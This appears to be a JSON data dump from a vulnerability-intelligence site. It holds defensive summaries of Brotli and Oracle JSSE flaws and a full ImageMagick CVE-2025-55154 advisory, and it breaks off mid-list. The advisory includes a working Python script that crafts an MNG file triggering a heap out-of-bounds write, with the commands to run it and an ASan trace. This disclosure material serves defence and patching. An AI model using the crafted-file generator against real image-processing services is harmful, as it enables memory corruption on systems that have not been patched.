[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-55154":30,"landing-articles":121},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":70,"references":90,"score":98,"epss_score":99,"epss_percentile":100,"is_kev":101,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":102,"attack_mappings":112,"exploits":119},72081,"CVE-2025-55154","EUVD-2025-24565","imagemagick: integer overflows in MNG magnification\n\n## **Vulnerability Details**\n\nThe magnified size calculations in `ReadOneMNGIMage` (in `coders\u002Fpng.c`) are unsafe and can overflow, leading to memory corruption.\n\nThe source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.\n\n```c\nstatic Image *ReadOneMNGImage(MngReadInfo* mng_info,\n  const ImageInfo *image_info,ExceptionInfo *exception)\n{\n\n\u002F\u002F Lots of stuff, this is effectively a state machine for the MNG rendering commands,\n\u002F\u002F skip to the point where we start processing the \"MAGN\" command.\n\n        if (memcmp(type,mng_MAGN,4) == 0)\n          {\n            png_uint_16\n              magn_first,\n              magn_last,\n              magn_mb,\n              magn_ml,\n              magn_mr,\n              magn_mt,\n              magn_mx,\n              magn_my,\n              magn_methx,\n              magn_methy;\n\n\u002F\u002F Details unimportant, but each of the `magn_xxx` variables is read from the file.\n\n            if (magn_first == 0 || magn_last == 0)\n              {\n                \u002F* Save the magnification factors for object 0 *\u002F\n                mng_info->magn_mb=magn_mb;\n                mng_info->magn_ml=magn_ml;\n                mng_info->magn_mr=magn_mr;\n                mng_info->magn_mt=magn_mt;\n                mng_info->magn_mx=magn_mx;\n                mng_info->magn_my=magn_my;\n                mng_info->magn_methx=magn_methx;\n                mng_info->magn_methy=magn_methy;\n              }\n          }\n\n\u002F\u002F Details unimportant, we load the image to be scaled and store it in `image`\n\n    if (mng_type)\n      {\n        MngBox\n          crop_box;\n\n        if (((mng_info->magn_methx > 0) && (mng_info->magn_methx \u003C= 5)) &&\n            ((mng_info->magn_methy > 0) && (mng_info->magn_methy \u003C= 5)))\n          {\n            png_uint_32\n               magnified_height,\n               magnified_width;\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Processing MNG MAGN chunk\");\n\n            if (image->columns == 1)\n              mng_info->magn_methx = 1;\n            if (image->rows == 1)\n              mng_info->magn_methy = 1;\n            if (mng_info->magn_methx == 1)\n              {\n                magnified_width=mng_info->magn_ml; \u002F\u002F [0]\n                \n                if (image->columns > 1)\n                   magnified_width += mng_info->magn_mr; \u002F\u002F [1]\n\n                if (image->columns > 2)\n                   magnified_width += (png_uint_32)\n                      ((image->columns-2)*(mng_info->magn_mx)); \u002F\u002F [2]\n               }\n\n\u002F\u002F Different cases handle available scaling kinds, all of which have similar issues...\n\n\u002F\u002F We now check whether the output image is larger than the input image in either\n\u002F\u002F dimension, and if so, we will allocate a new image buffer of size\n\u002F\u002F `magnified_width * magnified_height`.\n\n            if (magnified_height > image->rows ||\n                magnified_width > image->columns)\n              {\n                Image\n                  *large_image;\n\n\u002F\u002F Snip...\n\n                large_image->columns=magnified_width;\n                large_image->rows=magnified_height;\n\n                magn_methx=mng_info->magn_methx;\n                magn_methy=mng_info->magn_methy;\n\n\u002F\u002F In between here, we allocate the pixel buffer for `large_image`.\n\n                \u002F* magnify the rows into the right side of the large image *\u002F\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the rows to %.20g\",\n                    (double) large_image->rows);\n                m=(ssize_t) mng_info->magn_mt;\n                yy=0;\n                length=(size_t) GetPixelChannels(image)*image->columns;\n                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n                if ((prev == (Quantum *) NULL) ||\n                    (next == (Quantum *) NULL))\n                  {\n                    if (prev != (Quantum *) NULL)\n                      prev=(Quantum *) RelinquishMagickMemory(prev);\n                    if (next != (Quantum *) NULL)\n                      next=(Quantum *) RelinquishMagickMemory(next);\n                    image=DestroyImageList(image);\n                    ThrowReaderException(ResourceLimitError,\n                      \"MemoryAllocationFailed\");\n                  }\n\n                n=GetAuthenticPixels(image,0,0,image->columns,1,exception);\n                (void) memcpy(next,n,length);\n\n                for (y=0; y \u003C (ssize_t) image->rows; y++)\n                {\n                  if (y == 0)\n                    m=(ssize_t) mng_info->magn_mt;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy \u003C= 1 && y == (ssize_t) image->rows-1)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)\n                    m=1;\n\n                  else\n                    m=(ssize_t) mng_info->magn_my;\n\n                  n=prev;\n                  prev=next;\n                  next=n;\n\n                  if (y \u003C (ssize_t) image->rows-1)\n                    {\n                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,\n                          exception);\n                      (void) memcpy(next,n,length);\n                    }\n\n                  for (i=0; i \u003C m; i++, yy++)\n                  {\n                    Quantum\n                      *pixels;\n\n                    assert(yy \u003C (ssize_t) large_image->rows);\n                    pixels=prev;\n                    n=next;\n                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,\n                      1,exception);\n                    if (q == (Quantum *) NULL)\n                      break;\n                    q+=(ptrdiff_t) (large_image->columns-image->columns)*\n                      GetPixelChannels(large_image); \u002F\u002F [3]\n```\n\nIf we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \\[0\\] and \\[1\\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \\[2\\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required.\n\nWhen we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled\u002Fmagnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \\[3\\] will end up with a `q` pointer outside the buffer bounds.\n\nThis issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.\n\nTriggering this issue requires an `image` with large `columns` or `rows` (\\~65535) which should be prevented by all of the example security policies (which set `width`\u002F`height` limits of `8KP`).\n\n## **Affected Version(s)**\n\nVerified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).\n\n### **Build Instructions**\n\n```shell\ngit clone https:\u002F\u002Fgithub.com\u002Fimagemagick\u002Fimagemagick\ncd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address\"\nexport CXXFLAGS=\"-fsanitize=address\"\nexport LDFLAGS=\"-fsanitize=address\"\n\n.\u002Fconfigure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.\n\n```\nimport struct\nimport zlib\n\ndef create_chunk(chunk_type, data):\n    crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF\n    return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc)\n\n# MNG signature\nmng_signature = b'\\x8aMNG\\r\\n\\x1a\\n'\n\n# --- Dimensions ---\nmhdr_width = 1\nmhdr_height = 1\nihdr_width = 65538 # W: Original width to cause W' overflow\nihdr_height = 1    # H: Original height\n\n# MHDR chunk (Valid small dimensions)\nmhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0)\nmhdr_chunk = create_chunk(b'MHDR', mhdr_data)\n\n# MAGN chunk: Trigger width overflow, force entry via height magn\nmagn_first = 0\nmagn_last = 0\nmagn_methx = 1\nmagn_mx = 65535      # -> magnified_width = 65534 (overflow)\nmagn_my = 2          # -> magnified_height = 2 (magn_mt=2)\nmagn_ml = 65535\nmagn_mr = 65535\nmagn_mt = 2          # Force magnified_height > H (necessary to trigger large_image path)\nmagn_mb = 1\nmagn_methy = 1\n\nmagn_data = struct.pack('>HHBHHHHHHB',\n                        magn_first, magn_last,\n                        magn_methx,\n                        magn_mx, magn_my,\n                        magn_ml, magn_mr,\n                        magn_mt, magn_mb,\n                        magn_methy)\nmagn_chunk = create_chunk(b'MAGN', magn_data)\n\n# IHDR chunk\nihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0)\nihdr_chunk = create_chunk(b'IHDR', ihdr_data)\n\n# IDAT chunk (Minimal data for W x H grayscale pixels)\nscanline = b'\\x00' + (b'\\x00' * ihdr_width)\ncompressed_scanline = zlib.compress(scanline)\nidat_chunk = create_chunk(b'IDAT', compressed_scanline)\n\n# IEND chunk\niend_chunk = create_chunk(b'IEND', b'')\n\n# MEND chunk\nmend_chunk = create_chunk(b'MEND', b'')\n\nprogram_input = (\n    mng_signature +\n    mhdr_chunk +\n    magn_chunk +\n    ihdr_chunk +\n    idat_chunk +\n    iend_chunk +\n    mend_chunk\n)\n\nprint(f\"Generated MNG size: {len(program_input)} bytes\")\nwith open(\"magn_write.mng\", \"wb\") as tmp:\n    tmp.write(program_input)\n```\n\n### **Command**\n\n```shell\npython3 .\u002Fgenerate_testcase.py\nutilities\u002Fmagick .\u002Fmagn_write.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8\nWRITE of size 4 at 0x7f80849757d0 thread T0\n    #0 0x55744124fba2 in SetPixelRed \u002Ftmp\u002Frepro\u002Fimagemagick\u002F.\u002FMagickCore\u002Fpixel-accessor.h:913:52\n    #1 0x55744123be16 in ReadOneMNGImage \u002Ftmp\u002Frepro\u002Fimagemagick\u002Fcoders\u002Fpng.c:6657:27\n    #2 0x557441222c33 in ReadMNGImage \u002Ftmp\u002Frepro\u002Fimagemagick\u002Fcoders\u002Fpng.c:7341:9\n    #3 0x557441347da1 in ReadImage \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fconstitute.c:736:15\n    #4 0x55744134ad96 in ReadImages \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fconstitute.c:1078:9\n    #5 0x5574419135fc in CLINoImageOperator \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Foperation.c:4959:22\n    #6 0x55744190748c in CLIOption \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Foperation.c:5473:7\n    #7 0x5574417dd25b in ProcessCommandOptions \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Fmagick-cli.c:653:13\n    #8 0x5574417de629 in MagickImageCommand \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Fmagick-cli.c:1392:5\n    #9 0x5574417daf9c in MagickCommandGenesis \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Fmagick-cli.c:177:14\n    #10 0x557440e237b9 in MagickMain \u002Ftmp\u002Frepro\u002Fimagemagick\u002Futilities\u002Fmagick.c:162:10\n    #11 0x557440e231e1 in main \u002Ftmp\u002Frepro\u002Fimagemagick\u002Futilities\u002Fmagick.c:193:10\n    #12 0x7f8087433ca7 in __libc_start_call_main csu\u002F..\u002Fsysdeps\u002Fnptl\u002Flibc_start_call_main.h:58:16\n    #13 0x7f8087433d64 in __libc_start_main csu\u002F..\u002Fcsu\u002Flibc-start.c:360:3\n    #14 0x557440d3f790 in _start (\u002Ftmp\u002Frepro\u002Fimagemagick\u002Futilities\u002Fmagick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n\n0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0)\nallocated by thread T0 here:\n    #0 0x557440de00cb in posix_memalign (\u002Ftmp\u002Frepro\u002Fimagemagick\u002Futilities\u002Fmagick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n    #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fmemory.c:300:7\n    #2 0x557440e5885d in AcquireAlignedMemory \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fmemory.c:378:10\n    #3 0x5574412e9725 in OpenPixelCache \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fcache.c:3775:46\n    #4 0x5574412eead7 in GetImagePixelCache \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fcache.c:1782:18\n    #5 0x5574412ef71b in SyncImagePixelCache \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fcache.c:5600:28\n    #6 0x557440e2e786 in SetImageStorageClass \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fimage.c:2617:10\n    #7 0x557440e2f075 in SetImageBackgroundColor \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fimage.c:2422:7\n    #8 0x55744123b3d6 in ReadOneMNGImage \u002Ftmp\u002Frepro\u002Fimagemagick\u002Fcoders\u002Fpng.c:6560:28\n    #9 0x557441222c33 in ReadMNGImage \u002Ftmp\u002Frepro\u002Fimagemagick\u002Fcoders\u002Fpng.c:7341:9\n    #10 0x557441347da1 in ReadImage \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fconstitute.c:736:15\n    #11 0x55744134ad96 in ReadImages \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickCore\u002Fconstitute.c:1078:9\n    #12 0x5574419135fc in CLINoImageOperator \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Foperation.c:4959:22\n    #13 0x55744190748c in CLIOption \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Foperation.c:5473:7\n    #14 0x5574417dd25b in ProcessCommandOptions \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Fmagick-cli.c:653:13\n    #15 0x5574417de629 in MagickImageCommand \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Fmagick-cli.c:1392:5\n    #16 0x5574417daf9c in MagickCommandGenesis \u002Ftmp\u002Frepro\u002Fimagemagick\u002FMagickWand\u002Fmagick-cli.c:177:14\n    #17 0x557440e237b9 in MagickMain \u002Ftmp\u002Frepro\u002Fimagemagick\u002Futilities\u002Fmagick.c:162:10\n    #18 0x557440e231e1 in main \u002Ftmp\u002Frepro\u002Fimagemagick\u002Futilities\u002Fmagick.c:193:10\n    #19 0x7f8087433ca7 in __libc_start_call_main csu\u002F..\u002Fsysdeps\u002Fnptl\u002Flibc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow \u002Ftmp\u002Frepro\u002Fimagemagick\u002F.\u002FMagickCore\u002Fpixel-accessor.h:913:52 in SetPixelRed\nShadow bytes around the buggy address:\n  0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa\n  0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==585863==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep","2025-08-25T16:23:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":46,"confidentialityImpact":42},"UNCHANGED","3.1",8.8,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:H","REQUIRED","LOW","NONE",true,[49],"CWE-190",[51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69],"cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-openmp-arm64:magick.net-q8-openmp-arm64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-x86:magick.net-q16-x86:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-x86:magick.net-q16-hdri-x86:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-x64:magick.net-q16-hdri-x64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-openmp-x64:magick.net-q16-hdri-openmp-x64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-openmp-x64:magick.net-q16-openmp-x64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-arm64:magick.net-q8-arm64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-anycpu:magick.net-q8-anycpu:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-x86:magick.net-q8-x86:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-anycpu:magick.net-q16-hdri-anycpu:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-arm64:magick.net-q16-hdri-arm64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-anycpu:magick.net-q16-anycpu:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-arm64:magick.net-q16-arm64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-openmp-x64:magick.net-q8-openmp-x64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-openmp-arm64:magick.net-q16-openmp-arm64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-x64:magick.net-q16-x64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-openmp-arm64:magick.net-q16-hdri-openmp-arm64:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-x64:magick.net-q8-x64:*:*:*:*:*:*:*:*",[71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89],"Imagemagick Imagemagick","Magick.Net-Q8-Anycpu Magick.Net-Q8-Anycpu","Magick.Net-Q16-X86 Magick.Net-Q16-X86","Magick.Net-Q16-Hdri-X86 Magick.Net-Q16-Hdri-X86","Magick.Net-Q16-Openmp-Arm64 Magick.Net-Q16-Openmp-Arm64","Magick.Net-Q16-Hdri-X64 Magick.Net-Q16-Hdri-X64","Magick.Net-Q16-Anycpu Magick.Net-Q16-Anycpu","Magick.Net-Q8-X86 Magick.Net-Q8-X86","Magick.Net-Q16-Hdri-Arm64 Magick.Net-Q16-Hdri-Arm64","Magick.Net-Q16-Hdri-Openmp-Arm64 Magick.Net-Q16-Hdri-Openmp-Arm64","Magick.Net-Q8-X64 Magick.Net-Q8-X64","Magick.Net-Q8-Openmp-Arm64 Magick.Net-Q8-Openmp-Arm64","Magick.Net-Q8-Openmp-X64 Magick.Net-Q8-Openmp-X64","Magick.Net-Q16-Arm64 Magick.Net-Q16-Arm64","Magick.Net-Q16-Openmp-X64 Magick.Net-Q16-Openmp-X64","Magick.Net-Q8-Arm64 Magick.Net-Q8-Arm64","Magick.Net-Q16-Hdri-Anycpu Magick.Net-Q16-Hdri-Anycpu","Magick.Net-Q16-X64 Magick.Net-Q16-X64","Magick.Net-Q16-Hdri-Openmp-X64 